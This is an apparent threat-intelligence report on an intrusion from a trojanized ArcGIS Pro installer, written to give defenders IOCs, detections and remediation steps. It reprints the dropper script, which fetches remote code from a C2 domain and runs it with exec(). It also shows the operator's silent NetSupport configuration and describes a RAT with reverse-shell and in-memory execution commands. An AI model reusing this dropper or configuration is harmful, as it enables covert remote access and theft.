On May 18, 2026, RADICL observed an intrusion on a Windows endpoint originating from a trojanized ArcGIS Pro installer downloaded from a typosquatted domain.
The installer extracted a bundled Python runtime and executed an obfuscated dropper script, which deployed two independent remote access capabilities on the host: a legitimately-signed copy of NetSupport Manager configured for covert operation, and a Python-based backdoor identified as play.pyc.
Each capability was given its own persistence mechanism — a randomly-named Scheduled Task for NetSupport, and a Startup folder shortcut for play.pyc — providing the operator with redundant, dual-channel access. RADICL contained the intrusion to a single host with no observed lateral movement.
ArcGIS Pro is a widely-used commercial GIS product published by Esri. The affected user reached arcgis-pro[.]com (a typosquat of Esri's legitimate domain registered 39 days prior with no SPF, DMARC, or MX records) and downloaded ArcGIS-Pro-2026.1.9011.4920.exe, hosted on a Backblaze B2 cloud storage bucket. The mechanism that directed the user to the typosquatted domain was not confirmed during initial triage via available telemetry, however based on conversations with the affected user it was likely related to malvertising or SEO poisoning.
Mark-of-the-Web telemetry from the endpoint confirmed the download referrer was arcgis-pro[.]com and surfaced a second detail: the installer had been downloaded twice, approximately 25 minutes apart, from the identical URL and referrer. The dropper's silent execution produced no install dialog or visible ArcGIS Pro UI, so the user — assuming the first download had failed — retried. Both executions delivered the same payload.
The installer extracted a bundled Python 3 runtime and supporting files to a GUID-named temp directory under the user's profile: %LOCALAPPDATA%\Temp\<guid>\SDK\. The SDK subdirectory contained 15 files. Fourteen are decoys with random dictionary-word filenames in a mix of .txt and .docx extensions, 20–60 KB each, all sharing an identical batch-extraction timestamp. The 15th file, oncost.txt, is the dropper, with a timestamp 12 seconds later than the decoys, which is consistent with being decoded or written at runtime by the parent installer. The decoy pattern is a deliberate obfuscation technique, designed to bury the real dropper in plausible-looking clutter.
The installer launched the dropper using pythonw.exe -x oncost.txt. The -x flag instructs Python to skip the first line of the input file, allowing the dropper to be disguised under a non-.py extension.
The first line of oncost.txt is a string of random words that Python ignores; the remainder is:
import ssl
import time
import urllib.request
ssl._create_default_https_context = ssl._create_unverified_context
c = urllib.request.urlopen(
'hxxps[://]qxvnrta[.]com/f5b27e40-c60d-55fb-9ec1-6627165dd130/new_pkg1'
).read().decode('utf-8')
time.sleep(2.1)
exec(c)
This script disables SSL certificate verification and retrieves a second-stage payload from qxvnrta[.]com, a C2 domain registered six days prior to the incident. The retrieved content is executed in-process via exec(); the next stage never touches disk. The second-stage payload performs two parallel actions: it deploys the NetSupport Manager components and writes play.pyc to disk.
The second-stage payload also spawned a legitimate, clean Microsoft VC++ Redistributable installer (vc_redist.x64.exe, VT 0/71) to install the MSVC runtime DLLs required by client32.exe, environment preparation to ensure NetSupport would run on a host missing the dependency.
NetSupport Manager is a legitimate, signed commercial remote management product widely used by IT teams. It is not malware, but it is heavily abused by threat actors precisely because it provides full interactive remote control, encrypts traffic over standard ports, and blends with legitimate enterprise RMM tooling.
The malicious behavior here is determined entirely by the operator-supplied configuration file written alongside the binaries, and by the absence of any IT approval for the deployment on this host.
The second-stage payload wrote eight legitimate NetSupport components to C:\ProgramData\NetSupport\NetSupport Manager\:
client32.exe 120,288 bytes (NetSupport client executable)
client32.ini 915 bytes (operator-controlled config)
HTCTL32.DLL 328,056 bytes
msvcr100.dll 773,968 bytes
nskbfltr.inf 328 bytes
NSM.LIC 249 bytes
nsm_vpro.ini 46 bytes
pcicapi.dll 33,144 bytes
PCICHEK.DLL 18,808 bytes
TCCTL32.DLL 396,664 bytes
remcmdstub.exe 72,760 bytes
Most files carry modification timestamps from years prior (2007 through 2024), inherited from the legitimate NetSupport build. Only client32.ini, written at the moment of compromise, has a fresh timestamp — making it the file that reveals operator intent.
[HTTP]
CMPI=60
GatewayAddress=travelrm[.]com:1714
GSK=GB;L?PEBGF<J>MDEFF;P?PDM9G>PBD
Port=1714
SecondaryGateway=madridoculto[.]com:1714
Teterrimous=1
SecondaryPort=1714
The GatewayAddress and SecondaryGateway fields point at travelrm[.]com and madridoculto[.]com, both on NetSupport's standard gateway port 1714. Neither domain appeared in network telemetry during the 27-minute observation window — the implant was configured to contact them but had not yet reached the corresponding beacon cycle. These IOCs are recoverable only from the on-disk artifact, and would have been missed by any enumeration relying solely on observed wire traffic. Notably, the NetSupport installation was the first and only event to trigger an EDR alert indicating potentially malicious activity— nearly four minutes after the initial malicious payload had already existed.
The [Client] section of client32.ini is configured for fully silent operation: silent=1 and SysTray=0 suppress all UI and the system tray icon; DisableChat, DisableMessage, DisableRequestHelp, and DisableDisconnect strip the user's ability to know a session is happening or terminate it; and Usernames=* with ValidAddresses.TCP=* accept connections from any operator on any source address. Legitimate IT deployments do not silence their own UI and do not accept connections from arbitrary operators. The [_Info] section additionally points Filename at C:\ProgramData\Android\Internal\Video\some3.ini, a path that does not correspond to where the implant resides — likely misdirection for a hands-on responder, or a holdover from a previous deployment. The operator authentication token is recorded in SecurityKey2.
Persistence is established via a randomly-named Scheduled Task that re-launches client32.exe at logon with highest privileges. RADICL observed four discrete executions of client32.exe during the 27-minute window prior to containment (16:09:03Z, 16:11:07Z, 16:14:41Z, 16:36:09Z), all spawned by the same parent process — the signature of a system process being invoked by a scheduled task. Eight outbound TCP/443 connections to the two observed C2 servers spanned the full window. Terminating client32.exe without first removing the scheduled task results in the implant being relaunched on the next scheduled invocation.
Alongside the NetSupport deployment, the second-stage payload dropped a compiled Python backdoor identified as play.pyc. This is an entirely separate implant from NetSupport — different infrastructure, different capabilities, different persistence — and provides the operator with dual-channel access.
The submitted play.pyc is the first of three stages. Stage 1 is a ~5 KB ChaCha20 decryption shim that decrypts a ~50 KB embedded blob in memory and executes it via exec(); the decrypted implant never touches disk.
Stage 2 is the actual WebSocket-over-TLS RAT, written in Python but performing all network and process operations directly against the Win32 API via ctypes — deliberately avoiding urllib.request, requests, subprocess, and socket, which are the standard-library modules EDR products typically hook to detect Python-based malware.
Stage 3 is a reflective PE loader (~2.7 KB) embedded inside stage 2, written to disk on demand to execute operator-pushed binaries entirely in memory via VirtualAlloc / VirtualProtect.
The implant's main loop reads a command code and parameter from the WebSocket connection and dispatches:
|
Code |
Command |
Action |
|
1 |
S_PING |
Keep-alive heartbeat |
|
49 |
S_UPLOAD |
C2-to-victim file drop written to disk |
|
67 |
EXEC_IN_MEM |
C2-to-victim PE executed in memory via stage 3 loader |
|
90 |
S_DELETE |
Self-uninstall (PowerShell Remove-Item after 4-second sleep) |
|
101 |
S_START_TERMINAL |
Interactive reverse shell (cmd.exe or powershell.exe over named pipes) |
The most consequential capability is EXEC_IN_MEM. Operator-pushed PEs execute entirely in memory; no disk artifacts exist. Forensic recovery is possible only from a memory image of the live python.exe process. On initial check-in, the implant transmits reconnaissance including username, hostname, AD domain, hardware identifier from HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid, OS product name, and elevation status.
Single-instance enforcement uses the named mutex TashuOnMyNeckBricket, which is highly specific and useful for sweeping the environment for additional infections. A watchdog process pair re-spawns the implant whenever it exits, except on receipt of S_DELETE — two python.exe processes in a parent/child relationship from a non-standard path is the process-tree signature for this implant.
Persistence is established via a shortcut in the user's Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\), re-launching play.pyc at each user login. This is operationally distinct from the NetSupport scheduled task — removing one has no effect on the other. Effective remediation requires identifying and removing both.
Create a detection for any process execution where pythonw.exe is invoked with the -x flag against a non-.py file. Outside of niche developer workflows, this pattern is essentially never legitimate in an enterprise environment and is a high-signal indicator of Python dropper activity — specifically the technique used to execute oncost.txt in this intrusion.
Alert on the creation of client32.ini in any path outside a documented, approved NetSupport deployment. Parse the file on creation and extract GatewayAddress and SecondaryGateway directly into your IOC pipeline. These fields contain attacker-controlled C2 infrastructure not visible in network telemetry until the implant beacons. The presence of silent=1, SysTray=0, and any Disable*=1 flags is sufficient to confirm malicious intent; legitimate IT deployments do not silence their own UI.
Sweep the environment for the named mutex TashuOnMyNeckBricket to identify any additional play.pyc infections without dependence on file or network artifacts. A companion process-tree hunt for two python.exe processes in a parent/child watchdog relationship from a non-standard install path will identify active implant sessions. Note that play.pyc bypasses Python's standard library entirely, operating against the Win32 API via ctypes; EDR products that hook only the Python standard library will not detect its network or process activity.
This intrusion represents a multi-stage, dual-channel deployment combining a legitimately signed RMM tool with a custom Python WebSocket RAT to establish redundant access on a single host. The campaign demonstrates deliberate evasion at each stage: a typosquatted delivery domain, a dropper disguised as a text file among 14 decoy files, SSL certificate verification disabled on the dropper's C2 request, and a NetSupport configuration that strips every indicator of a live session from the user's view. Security teams should treat any endpoint exhibiting these behaviors as fully compromised and perform a complete forensic review before returning it to service.
When remediating, both access channels must be addressed independently. Removing the NetSupport scheduled task has no effect on the play.pyc Startup shortcut; removing the shortcut has no effect on NetSupport. Detection logic targeting pythonw.exe -x execution against non-.py files, unauthorized client32.ini creation, and the mutex TashuOnMyNeckBricket will provide coverage against this campaign and the broader class of techniques it employs.
Authored by the RADICL threat intelligence team. All affected tenant details have been anonymized. IOCs are released for community defense.